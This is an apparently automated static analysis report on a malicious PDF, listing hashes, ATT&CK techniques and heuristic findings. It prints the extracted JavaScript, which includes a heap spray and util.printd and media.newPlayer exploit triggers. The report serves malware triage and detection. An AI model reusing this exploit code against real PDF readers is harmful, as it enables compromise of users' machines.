Malicious PDF — malware analysis report

Static analysis result for SHA-256 ffba08db2e26c7c1…

MALICIOUS

PDF

937 B First seen: 2026-05-11
MD5: d2a0a61f711287ccc013c360c6ce5cee SHA-1: 18326f91837456efe04d212afe2f0dba2425561d SHA-256: ffba08db2e26c7c1baeffaef3abc19ccdf55aa09c78c36ff81ea0ba86d061299
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and performs a heap spray. This is a common technique used in PDF exploits to prepare memory for shellcode execution. The ML classifier and specific PDF heuristics strongly indicate malicious intent, likely for client-side exploitation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo1 = ['54','EB','75','8B','8B','3C'];
var Wo0=""; for(i=0;i<Wo1.length;){Wo0=Wo0+'%u'+Wo1[i]+Wo1[i+1]; i=i+2;} var Wo = unescape(Wo0); var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 578 bytes
SHA-256: 87d95066ee043b694f9047cf9d32dc572ecd506f6daac5ea3d1d0b8a9049a520
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wo1 = ['54','EB','75','8B','8B','3C'];
var Wo0=""; for(i=0;i<Wo1.length;){Wo0=Wo0+'%u'+Wo1[i]+Wo1[i+1]; i=i+2;} var Wo = unescape(Wo0); var yR = unescape('%u3727%u27f5');

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

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